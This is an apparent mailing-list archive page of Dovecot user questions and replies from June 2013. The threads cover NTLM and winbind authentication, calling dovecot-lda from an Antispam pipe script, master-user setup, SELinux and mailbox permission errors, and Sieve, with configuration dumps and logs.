checking the trust secret for domain MYDOMAIN via RPC calls succeeded # doveconf -n # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.11.1.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_debug_passwords = yes auth_mechanisms = plain ntlm login auth_use_winbind = yes auth_username_format = %Lu listen = * mbox_write_locks = fcntl passdb { driver = pam } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } ssl_cert = </etc/pki/dovecot/certs/dovecot.pem ssl_key = </etc/pki/dovecot/private/dovecot.pem userdb { driver = passwd } //////////////////// # postconf -n alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases command_directory = /usr/sbin config_directory = /etc/postfix daemon_directory = /usr/libexec/postfix data_directory = /var/lib/postfix debug_peer_level = 7 html_directory = no inet_interfaces = all inet_protocols = ipv4 line_length_limit = 6144 mail_owner = postfix mailq_path = /usr/bin/mailq.postfix manpage_directory = /usr/share/man mydestination = $myhostname, localhost.$mydomain, localhost myhostname = srvsbsmtp05.mydomain.com newaliases_path = /usr/bin/newaliases.postfix queue_directory = /var/spool/postfix readme_directory = /usr/share/doc/postfix-2.6.6/README_FILES sample_directory = /usr/share/doc/postfix-2.6.6/samples sendmail_path = /usr/sbin/sendmail.postfix setgid_group = postdrop smtpd_recipient_restrictions = permit_sasl_authenticated,reject_unauth_destination smtpd_sasl_auth_enable = yes smtpd_sasl_path = private/auth smtpd_sasl_type = dovecot unknown_local_recipient_reject_code = 550 ///////////////////// # cat /etc/krb5.conf [logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log [libdefaults] default_realm = MYDOMAIN.COM dns_lookup_realm = true dns_lookup_kdc = true ticket_lifetime = 24h renew_lifetime = 7d forwardable = true [domain_realm] .mydomain.com = MYDOMAIN.COM mydomain.com = MYDOMAIN.COM //////////////////// system keytab: # klist -ke Keytab name: FILE:/etc/krb5.keytab KVNO Principal ---- -------------------------------------------------------------------------- 3 host/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (des-cbc-crc) 3 host/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (des-cbc-md5) 3 host/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (arcfour-hmac) 3 host/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (aes128-cts-hmac-sha1-96) 3 host/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (aes256-cts-hmac-sha1-96) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (des-cbc-crc) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (des-cbc-md5) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (arcfour-hmac) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (aes128-cts-hmac-sha1-96) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (aes256-cts-hmac-sha1-96) 3 SBSMTPNV05$(a)MYDOMAIN.COM (des-cbc-crc) 3 SBSMTPNV05$(a)MYDOMAIN.COM (des-cbc-md5) 3 SBSMTPNV05$(a)MYDOMAIN.COM (arcfour-hmac) 3 SBSMTPNV05$(a)MYDOMAIN.COM (aes128-cts-hmac-sha1-96) 3 SBSMTPNV05$(a)MYDOMAIN.COM (aes256-cts-hmac-sha1-96) 5 smtp/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (des-cbc-crc) 5 smtp/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (des-cbc-md5) 5 smtp/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (arcfour-hmac) 5 smtp/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (aes128-cts-hmac-sha1-96) 5 smtp/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (aes256-cts-hmac-sha1-96) //////////////////// Samba config: [global] workgroup = MYDOMAIN realm = MYDOMAIN.COM server string = Samba Server Version %v security = ADS kerberos method = system keytab log file = /var/log/samba/log.%m max log size = 50 printcap name = /dev/null domain master = No template shell = /bin/bash winbind separator = + winbind use default domain = Yes idmap config * : range = 10000-50000 idmap config * : backend = tdb printing = bsd cups options = raw print command = lpr -r -P'%p' %s lpq command = lpq -P'%p' lprm command = lprm -P'%p' %j

1 0

[Dovecot] Calling dovecot-lda from within Antispam pipe script (bash) seems to have no effect
by Ben Johnson 24 Jun '13

24 Jun '13

Hello, I'm attempting to configure the Dovecot Antispam plug-in on Ubuntu 12.04 LTS with Dovecot 2.0.19. Everything seems to be in order with one considerable exception: when my pipe script (a simple Bash shell script) calls the dovecot-lda executable, absolutely nothing seems to result. If I copy/paste the exact same command into the terminal, the mail is delivered to the target mailbox, as expected. Here's my pipe script: http://pastebin.com/DBXAZqsN When I move a message from INBOX -> Junk, or from Junk -> INBOX, the pipe script is called, and here's the output: --------------------------------------------------------------- 31465-start (--debug --username=amavis --ham) Checking if the command-line input argument string (--debug --username=amavis --ham) contains the string "ham" or "spam" Mode is "HAM" Calling (as user vmail) '/usr/lib/dovecot/deliver -d "sa-training(a)example.com" -m "Training.HAM" -p "/tmp/sendmail-msg-31465.txt"' 31465-end --------------------------------------------------------------- But, for some reason, the call to "/usr/lib/dovecot/deliver" doesn't seem to do anything. If I copy the above output and paste it into the terminal: /usr/lib/dovecot/deliver -d "sa-training(a)example.com" -m "Training.HAM" -p "/tmp/sendmail-msg-31465.txt" Dovecot does indeed deliver the message. This works whether I execute the above command as "root" or "vmail". Why does this command have no effect when called from within the pipe script? Here is my "doveconf -n" output: # 2.0.19: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-042stab076.8 x86_64 Ubuntu 12.04.2 LTS auth_mechanisms = plain login disable_plaintext_auth = no listen = *,[::] log_timestamp = "%Y-%m-%d %H:%M:%S " mail_privileged_group = vmail passdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } plugin { antispam_backend = pipe antispam_debug_target = syslog antispam_pipe_program = /usr/bin/sa-learn-pipe.sh antispam_pipe_program_args = --debug;--username=amavis antispam_pipe_program_notspam_arg = --ham antispam_pipe_program_spam_arg = --spam antispam_pipe_tmpdir = /tmp antispam_spam_pattern_ignorecase = SPAM;JUNK antispam_trash_pattern_ignorecase = trash;Deleted * antispam_verbose_debug = 1 quota = dict:user::file:/var/vmail/%d/%n/.quotausage quota_rule2 = Trash:storage=+100M quota_rule3 = Junk:ignore quota_warning = storage=95%% quota-warning 95 %u %d quota_warning2 = storage=80%% quota-warning 80 %u %d quota_warning3 = -storage=100%% quota-below below %u %d sieve = /var/vmail/%d/%n/.sieve } protocols = imap pop3 service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-userdb { group = vmail mode = 0600 user = vmail } user = root } service quota-below { executable = script /usr/local/bin/quota-below.sh user = vmail } service quota-warning { executable = script /usr/local/bin/quota-warning.sh user = vmail } ssl_cert = </etc/postfix/smtpd.cert ssl_key = </etc/postfix/smtpd.key userdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } protocol imap { mail_plugins = quota imap_quota antispam } protocol pop3 { mail_plugins = quota pop3_uidl_format = %08Xu%08Xv } protocol lda { info_log_path = /var/log/dovecot-lda.log log_path = /var/log/dovecot-lda-errors.log mail_plugins = sieve quota } Thank you, -Ben

5 12

[Dovecot] Config for master user in dovecot 1.1.20
by izul 24 Jun '13

24 Jun '13

Hi folks.. Im planning to migrate my mail server using imapsync.I need master user in my dovecot 1.1.20.Im so blind about this.Anybody can help me? Below is my 'dovecot -n' : ############### [root@mail etc]# dovecot -n # 1.1.20: /etc/dovecot.conf # OS: Linux 2.6.18-194.8.1.el5 i686 CentOS release 5.5 (Final) log_path: /var/log/dovecot.log protocols: pop3 pop3s imap imaps listen: * ssl_cert_file: /etc/pki/tls/certs/iRedMail_CA.pem ssl_key_file: /etc/pki/tls/private/iRedMail.key login_dir: /var/run/dovecot/login login_executable(default): /usr/libexec/dovecot/imap-login login_executable(imap): /usr/libexec/dovecot/imap-login login_executable(pop3): /usr/libexec/dovecot/pop3-login mail_uid: 507 mail_gid: 507 mail_location: maildir:/%Lh/Maildir/:INDEX=/%Lh/Maildir/ mail_debug: yes mail_executable(default): /usr/libexec/dovecot/imap mail_executable(imap): /usr/libexec/dovecot/imap mail_executable(pop3): /usr/libexec/dovecot/pop3 mail_plugins(default): quota imap_quota zlib mail_plugins(imap): quota imap_quota zlib mail_plugins(pop3): quota zlib mail_plugin_dir(default): /usr/lib/dovecot/imap mail_plugin_dir(imap): /usr/lib/dovecot/imap mail_plugin_dir(pop3): /usr/lib/dovecot/pop3 pop3_client_workarounds(default): pop3_client_workarounds(imap): pop3_client_workarounds(pop3): outlook-no-nuls oe-ns-eoh lda: postmaster_address: root auth_socket_path: /var/run/dovecot/auth-master mail_plugins: cmusieve quota sieve_global_path: /var/vmail/sieve/dovecot.sieve log_path: /var/log/sieve.log auth default: mechanisms: plain login user: vmail master_user_separator: * verbose: yes debug: yes debug_passwords: yes passdb: driver: sql args: /etc/dovecot-mysql.conf passdb: driver: passwd-file args: /etc/dovecot-master-user-password pass: yes master: yes userdb: driver: sql args: /etc/dovecot-mysql.conf socket: type: listen client: path: /var/spool/postfix/dovecot-auth mode: 438 user: postfix group: postfix master: path: /var/run/dovecot/auth-master mode: 438 user: vmail group: vmail plugin: quota_warning: storage=85%% /usr/bin/dovecot-quota-warning.sh 85 quota_warning2: storage=90%% /usr/bin/dovecot-quota-warning.sh 90 quota_warning3: storage=95%% /usr/bin/dovecot-quota-warning.sh 95 quota: maildir quota_rule: *:storage=100M expire: Trash 7 Trash/* 7 Junk 30 expire_dict: proxy::expire auth_socket_path: /var/run/dovecot/auth-master dict: expire: db:/var/lib/dovecot/expire/expire.db [root@mail etc]# ############### And below is my dovecot.conf : (part of it) ############### auth_master_user_separator = * auth default { auth_master_user_separator= * mechanisms = plain login user = vmail passdb sql { args = /etc/dovecot-mysql.conf } userdb sql { args = /etc/dovecot-mysql.conf } socket listen { master { path = /var/run/dovecot/auth-master mode = 0666 user = vmail group = vmail } client { path = /var/spool/postfix/dovecot-auth mode = 0666 user = postfix group = postfix } } # Add below lines passdb passwd-file { args = /etc/dovecot-master-user-password master = yes pass = yes } } ############### -- View this message in context: http://dovecot.2317879.n4.nabble.com/Config-for-master-user-in-dovecot-1-1-… Sent from the Dovecot mailing list archive at Nabble.com.

9 13

[Dovecot] Dovecot + SELinux permission problems
by Johnny 24 Jun '13

24 Jun '13

Hi, I have set-up dovecot on a F17 box and am encountering weirdnesses with SELinux (who isn't??). Again, I am trying to refrain from disabling SWLinux all together, however tempting, but am stuck in troubleshooting and hope for some ideas... With SELinux set to permissive, I can connect to dovecot and log in to access my mail as expected. With SELinux enforcing, I can connect to dovecot, but cannot login to access mail. The log states ,---- log_path = /var/log/dovecot (set in 10-logging.conf) | Jun 23 15:43:58 imap-login: Info: Login: user=<johndoe>, method=PLAIN, rip=127.0.0.1, lip=127.0.0.1, mpid=15189, secured, session=<xJl+U9PfvgB/AAAB> | Jun 23 15:43:58 imap(johndoe): Error: chdir(/home/user/data1/Maildir//) failed: Permission denied (euid=1000(user) egid=1000(user) missing +w perm: /home/user/data1/Maildir// stat(/home/user/data1/Maildir//) failed: Permission denied) | Jun 23 15:43:58 imap(johndoe): Error: chdir(/home/user/data1/Maildir/) failed: Permission denied | Jun 23 15:43:58 imap(johndoe): Error: user johndoe: Initialization failed: Namespace '': stat(/home/user/data1/Maildir//johndoe) failed: Permission denied (euid=1000(user) egid=1000(user) missing +w perm: /home/user/data1/Maildir//johndoe stat(/home/user/data1/Maildir//johndoe) failed: Permission denied) | Jun 23 15:43:58 imap(johndoe): Error: Invalid user settings. Refer to server log for more information. `---- Only thing I can grasp is *write permission* error. ls -l on the Maildirs shows this should not be the case for uid 1000. ,---- ls -l | drwxrwxr-x. 11 user user 4096 Jul 8 2012 Maildir | \> drwx------. 19 user user 4096 Feb 5 09:04 johndoe `---- I have no idea what the server log is referring to, in the debug log I get ,---- debug_log_path = /var/log/dovecot_debug (set in 10-logging.conf) | Jun 23 15:43:58 imap: Debug: Added userdb setting: mail=maildir:~/johndoe | Jun 23 15:43:58 imap(johndoe): Debug: Effective uid=1000, gid=1000, home=/home/user/data1/Maildir/ | Jun 23 15:43:58 imap(johndoe): Debug: Namespace inbox: type=private, prefix=, sep=., inbox=yes, hidden=no, list=yes, subscriptions=yes location=maildir:~/johndoe | Jun 23 15:43:58 imap(johndoe): Debug: maildir++: root=/home/user/data1/Maildir//johndoe, index=, control=, inbox=/home/user/data1/Maildir//johndoe, alt= `---- I had thought SELinux would log something, but /var/log/audit/audit.log is blank... Where to go from here?? Any ideas appreciated... -- Johnny

2 2

[Dovecot] Preoccupied at the moment
by Stephan Bosch 23 Jun '13

23 Jun '13

Hi, Something's come up and I am preoccupied at the moment until the 2nd of July. I won't be answering Dovecot mailing list until then (maybe a day or two earlier). Regards, Stephan.

1 0

[Dovecot] tables between dovecot and postfix and a paradoxical question
by Mohsen Pahlevanzadeh 23 Jun '13

23 Jun '13

Dear all, I read we create the following table in wiki2 : CREATE TABLE users ( userid VARCHAR(128) NOT NULL, domain VARCHAR(128) NOT NULL, password VARCHAR(64) NOT NULL, home VARCHAR(255) NOT NULL, uid INTEGER NOT NULL, gid INTEGER NOT NULL ); But i read the following text in the official postfix documentation : "DO create tables with each matching item as a key and with an arbitrary value. With SQL databases it is not uncommon to return the key itself or a constant value." ref: http://www.postfix.org/mysql_table.5.html How can i combine together? --mohsen

3 2

[Dovecot] use Alternative Storage as a cloud mail service
by ♥ NiNJA ♂ 22 Jun '13

22 Jun '13

Hi all I'm trying to create a mail service provider I like to know is it possible to have some servers as storage servers And automatically put email datas on the servers Something like having 3 servers , If server two get full , Automatically use server three If it's possible give me some solutions to use I like to use CentOS OS on my servers Thanks in advance

1 0

[Dovecot] Problem with virtual user mailbox initialization
by Denis Kasak 22 Jun '13

22 Jun '13

Hello, I'm trying to set up a postfix/dovecot server where postfix hands over incoming mail to dovecot using lmtp virtual transport via a Unix socket. Dovecot is then supposed to write the mail to /var/mail/<domain>/<user>/ using a virtual users setup. It seems to work except for failing when the mailbox is supposed to be initially created: Jun 22 03:25:04 lmtp(2400, dkasak(a)foo.org) Error: user dkasak(a)foo.org: Initialization failed: Namespace '': mkdir(/var/mail/foo.org/dkasak) failed: Permission denied (euid=5000(postman) egid=5000(postman) missing +w perm: /var/mail, we're not in group 6(mail), dir owned by 0:6 mode=0775) As can be seen from the error message, I've set mail_uid and mail_gid to account/group postman. /var/mail/ is empty and owned by root:mail so I've also set mail_privileged_group = mail. I was under the impression that mail_privileged_group is used precisely for these situations (when dotlocking or initial creation of the mailbox fail due to insufficient privileges), but it still doesn't work. If I either set mail_gid = mail, or set mail_access_groups = mail, or create foo.org/ owned by postman:postman by hand, it works as expected. Here is the complete configuration: # 2.2.2: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 9.1-RELEASE-p4 i386 ufs base_dir = /var/run/dovecot/ mail_gid = postman mail_location = maildir:/var/mail/%d/%n/:LAYOUT=fs mail_privileged_group = mail mail_uid = postman managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / type = private } passdb { args = scheme=CRYPT username_format=%u /etc/dovecot/users driver = passwd-file } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = imap lmtp service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } } service imap-login { inet_listener imap { port = 143 } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } ssl = required ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { args = username_format=%u /etc/dovecot/users default_fields = quota_rule=*:storage=2G driver = passwd-file } protocol imap { mail_plugins = " notify mail_log" } Any ideas? -- Denis Kasak

1 0

Re: [Dovecot] Calling dovecot-lda from within Antispam pipe script (bash) seems to have no effect
by Joseph Tam 22 Jun '13

22 Jun '13

Ben Johnson <ben(a)indietorrent.org> writes: > I added debugging output to the script, which now prints the environment > variables. My script now outputs the following: > ... > CONFIG_FILE=/var/run/dovecot/config > ... > Does anything jump-out at you? You didn't provide the analogous output from the interactive shell to see the differences (for example, USER might be being used), but from your later strace, I guess CONFIG_FILE has something to do with it. These threads seems relevant http://www.dovecot.org/list/dovecot/2011-May/059127.html http://www.mail-archive.com/dovecot@dovecot.org/msg38349.html That thread poster solved his problem by commenting out service imap-postlogin { # user = $default_internal_user ... } but I have no idea if it works, or whether it's a good idea, for your case. More docs http://wiki2.dovecot.org/PostLoginScripting Joseph Tam <jtam.home(a)gmail.com>

1 0

[Dovecot] Getting NTLM authentication for Postfix SMTP clients to work
by Matthew Larsen 22 Jun '13

22 Jun '13

I'm trying to get NTLM authentication working with Dovecot to authenticate Postfix SMTP clients. I can authenticate postfix smtp clients using the plain text login mechanism through winbind. However, using the NTLM mechanism gives me an error in my maillog that says: "dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL". At this point, I'm rather stuck. It appears PAM and winbind work for authenticating with AD because it works with the plain text mechanism, but I'm missing something with the NTLM authentication method. Any suggestions as to what I've got wrong, or other logging I can turn up / examine that might shed some light on this? When I use the LOGIN mechanism I see this in the mail logging and the message is relayed: Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: connect from nvit01b.mydomain.com[10.20.2.**0] Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=1501) Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011PLAIN#011service=**smtp#011nologin#011lip=10.20.**4 .12#011rip=10.20.2.0#011resp=**AG[...snip...]g== Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): lookup service=dovecot Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): #1/1 style=1 msg=Password: Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: client out: OK#0111#011user=myusername Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: 54EAF8059B: client= nvit01b.mydomain.com[**10.20.2.0], sasl_method=PLAIN, sasl_username=myusername Jun 21 13:12:58 SBSMTPNV05 postfix/cleanup[1504]: 54EAF8059B: message-id=< 51C4B3C8.30008(a)**domain1.com <51C4B3C8.30008(a)domain1.com>> Jun 21 13:12:58 SBSMTPNV05 postfix/qmgr[1499]: 54EAF8059B: from=< someone(a)domain1.com>, size=2700, nrcpt=1 (queue active) Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: disconnect from nvit01b.mydomain.com[10.20.2.**0] Jun 21 13:12:59 SBSMTPNV05 postfix/smtp[1505]: 54EAF8059B: to=< someone(a)gmail.com>, relay=gmail-smtp-in.l.google.**com<http://gmail-smtp-in.l.google.com/>[74.125.25.27]:25, delay=1.2, delays=0.23/0.04/0.16/0.72, dsn=2.0.0, status=sent (250 2.0.0 OK 1371845579 wf5si3786287pab.138 - gsmtp) Jun 21 13:12:59 SBSMTPNV05 postfix/qmgr[1499]: 54EAF8059B: removed I also see this in the secure log: Jun 21 13:12:58 SBSMTPNV05 auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=myusername rhost=10.20.2.0 user=myusername Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): getting password (0x00000010) Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): pam_get_item returned a password Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): user 'myusername' granted access Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:account): user 'myusername' granted access However, when I switch the mechanism to NTLM in the Thurnderbird MUA I see this: Jun 21 13:15:46 SBSMTPNV05 postfix/smtpd[1506]: connect from nvit01b.mydomain.com[10.20.2.**0] Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/**libauthdb_ldap.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/**libdriver_sqlite.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/**libmech_gssapi.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=1506) Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011NTLM#011service=**smtp#011nologin#011lip=10.20.**4. 12#011rip=10.20.2.0#011resp=**TlRMT[...snip...]A= Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client out: CONT#0111#011TlRMT[[...snip...**]A Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client in: CONT#0111#011TlRMT[...snip...]**A= Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL Jun 21 13:15:48 SBSMTPNV05 postfix/smtpd[1506]: warning: nvit01b.mydomain.com[10.20.2.**0]: SASL NTLM authentication failed: TlRMT[...snip...]A Jun 21 13:15:48 SBSMTPNV05 dovecot: auth: Debug: client out: FAIL#0111 Jun 21 13:15:49 SBSMTPNV05 postfix/smtpd[1506]: disconnect from nvit01b.mydomain.com[10.20.2.**0] with nothing in the secure log and I don't see anything show up in the winbind logs either. I've reviewed these pages as reference, and I'm not sure what I'm missing: http://wiki2.dovecot.org/**HowTo/ActiveDirectoryNtlm<http://wiki2.dovecot.org/HowTo/ActiveDirectoryNtlm> http://wiki2.dovecot.org/**Authentication/Mechanisms/NTLM<http://wiki2.dovecot.org/Authentication/Mechanisms/NTLM> http://www.dovecot.org/list/**dovecot/2008-December/035630.**html<http://www.dovecot.org/list/dovecot/2008-December/035630.html> http://www.dovecot.org/list/**dovecot/2010-February/046763.**html<http://www.dovecot.org/list/dovecot/2010-February/046763.html> http://blog.al-shami.net/2008/**05/freebsd-postfix-dovecot-** and-active-directory/<http://blog.al-shami.net/2008/05/freebsd-postfix-dovecot-and-active-directo…> http://wiki2.dovecot.org/**HowTo/PostfixAndDovecotSASL<http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL> Here's some of my relevant configuration as I understand it: I've joined the computer to the AD domain. The wbinfo tests work fine: # wbinfo -t checking the trust secret for domain MYDOMAIN via RPC calls succeeded # doveconf -n # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.11.1.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_debug_passwords = yes auth_mechanisms = plain ntlm login auth_use_winbind = yes auth_username_format = %Lu listen = * mbox_write_locks = fcntl passdb { driver = pam } service auth { unix_listener /var/spool/postfix/private/**auth { group = postfix mode = 0666 user = postfix } } ssl_cert = </etc/pki/dovecot/certs/**dovecot.pem ssl_key = </etc/pki/dovecot/private/**dovecot.pem userdb { driver = passwd } //////////////////// # postconf -n alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases command_directory = /usr/sbin config_directory = /etc/postfix daemon_directory = /usr/libexec/postfix data_directory = /var/lib/postfix debug_peer_level = 7 html_directory = no inet_interfaces = all inet_protocols = ipv4 line_length_limit = 6144 mail_owner = postfix mailq_path = /usr/bin/mailq.postfix manpage_directory = /usr/share/man mydestination = $myhostname, localhost.$mydomain, localhost myhostname = srvsbsmtp05.mydomain.com newaliases_path = /usr/bin/newaliases.postfix queue_directory = /var/spool/postfix readme_directory = /usr/share/doc/postfix-2.6.6/**README_FILES sample_directory = /usr/share/doc/postfix-2.6.6/**samples sendmail_path = /usr/sbin/sendmail.postfix setgid_group = postdrop smtpd_recipient_restrictions = permit_sasl_authenticated,**reje ct_unauth_destination smtpd_sasl_auth_enable = yes smtpd_sasl_path = private/auth smtpd_sasl_type = dovecot unknown_local_recipient_**reject_code = 550 ///////////////////// # cat /etc/krb5.conf [logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log [libdefaults] default_realm = MYDOMAIN.COM <http://mydomain.com/> dns_lookup_realm = true dns_lookup_kdc = true ticket_lifetime = 24h renew_lifetime = 7d forwardable = true [domain_realm] .mydomain.com = MYDOMAIN.COM <http://mydomain.com/> mydomain.com = MYDOMAIN.COM <http://mydomain.com/> //////////////////// system keytab: # klist -ke Keytab name: FILE:/etc/krb5.keytab KVNO Principal ---- ------------------------------**------------------------------** -------------- 3 host/sbsmtpnv05.mydomain.com(a)**MYDOMAIN.COM<sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM> (des-cbc-crc) 3 host/sbsmtpnv05.mydomain.com(a)**MYDOMAIN.COM<sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM> (des-cbc-md5) 3 host/sbsmtpnv05.mydomain.com(a)**MYDOMAIN.COM<sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM> (arcfour-hmac) 3 host/sbsmtpnv05.mydomain.com(a)**MYDOMAIN.COM<sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM> (aes128-cts-hmac-sha1-96) 3 host/sbsmtpnv05.mydomain.com(a)**MYDOMAIN.COM<sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM> (aes256-cts-hmac-sha1-96) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (des-cbc-crc) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (des-cbc-md5) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (arcfour-hmac) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (aes128-cts-hmac-sha1-96) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (aes256-cts-hmac-sha1-96) 3 SBSMTPNV05$(a)MYDOMAIN.COM <http://mydomain.com/> (des-cbc-crc) 3 SBSMTPNV05$(a)MYDOMAIN.COM <http://mydomain.com/> (des-cbc-md5) 3 SBSMTPNV05$(a)MYDOMAIN.COM <http://mydomain.com/> (arcfour-hmac) 3 SBSMTPNV05$(a)MYDOMAIN.COM <http://mydomain.com/> (aes128-cts-hmac-sha1-96) 3 SBSMTPNV05$(a)MYDOMAIN.COM <http://mydomain.com/> (aes256-cts-hmac-sha1-96) 5 smtp/sbsmtpnv05.mydomain.com(a)**MYDOMAIN.COM<sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM> (des-cbc-crc) 5 smtp/sbsmtpnv05.mydomain.com(a)**MYDOMAIN.COM<sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM> (des-cbc-md5) 5 smtp/sbsmtpnv05.mydomain.com(a)**MYDOMAIN.COM<sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM> (arcfour-hmac) 5 smtp/sbsmtpnv05.mydomain.com(a)**MYDOMAIN.COM<sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM> (aes128-cts-hmac-sha1-96) 5 smtp/sbsmtpnv05.mydomain.com(a)**MYDOMAIN.COM<sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM> (aes256-cts-hmac-sha1-96) //////////////////// Samba config: [global] workgroup = MYDOMAIN realm = MYDOMAIN.COM <http://mydomain.com/> server string = Samba Server Version %v security = ADS kerberos method = system keytab log file = /var/log/samba/log.%m max log size = 50 printcap name = /dev/null domain master = No template shell = /bin/bash winbind separator = + winbind use default domain = Yes idmap config * : range = 10000-50000 idmap config * : backend = tdb printing = bsd cups options = raw print command = lpr -r -P'%p' %s lpq command = lpq -P'%p' lprm command = lprm -P'%p' %j

1 0

[Dovecot] Sieve Plugin Setup
by Denny Jones 22 Jun '13

22 Jun '13

I've got an existing setup that I want to add Sieve filtering to. I'm on QmailToaster: qmailadmin-toaster-1.2.16-1.4.0 I using Dovecot version 2.0.11 I'm looking for a good tutorial for installing Sieve Rules functionality on an existing system. Anybody know of one? Anybody else done this? Do I just install the latest Dovecot-sieve plugin release with wget, etc? What kind of configuration can I expect to have to go through. Do I have to reconfigure Dovecot to work in conjunction with the Sieve plugin? I'm hoping to find someone else has done this that can help me navigate the waters so-to-speak. Thanks in advance, Denny

2 1

[Dovecot] Pound Sign # in password
by Jackie Lowery 21 Jun '13

21 Jun '13

Is there any way to use a pound sign # in my postfix user password in the dovecot sql configuration file.

2 2

Re: [Dovecot] Calling dovecot-lda from within Antispam pipe script (bash) seems to have no effect
by Joseph Tam 21 Jun '13

21 Jun '13

Ben Johnson writes: > It really boils-down to the fact that I can call the following on the > command-line and it functions as expected: > > su vmail -c '/usr/lib/dovecot/deliver -a "sa-training(a)example.com" -d > "sa-training(a)example.com" -m "Training.SPAM" -p > "/tmp/sendmail-msg-25794.txt"' > > Yet, when I attempt to do the exact same thing from within the pipe > script that Dovecot Antispam calls, I receive exit code 75 from > deliver/dovecot-lda and absolutely nothing is logged, with exception of > the information of which I'm already aware (logged to syslog). Have you also checked the environment variables? I think dovecot-lda gets some information from them. Also, it's possible the PATH or some other critical environment variables is different, causing the difference in outcome. Joseph Tam <jtam.home(a)gmail.com>

2 1

[Dovecot] LDA Connection Refused with auth-userdb
by Adam Ramirez 21 Jun '13

21 Jun '13

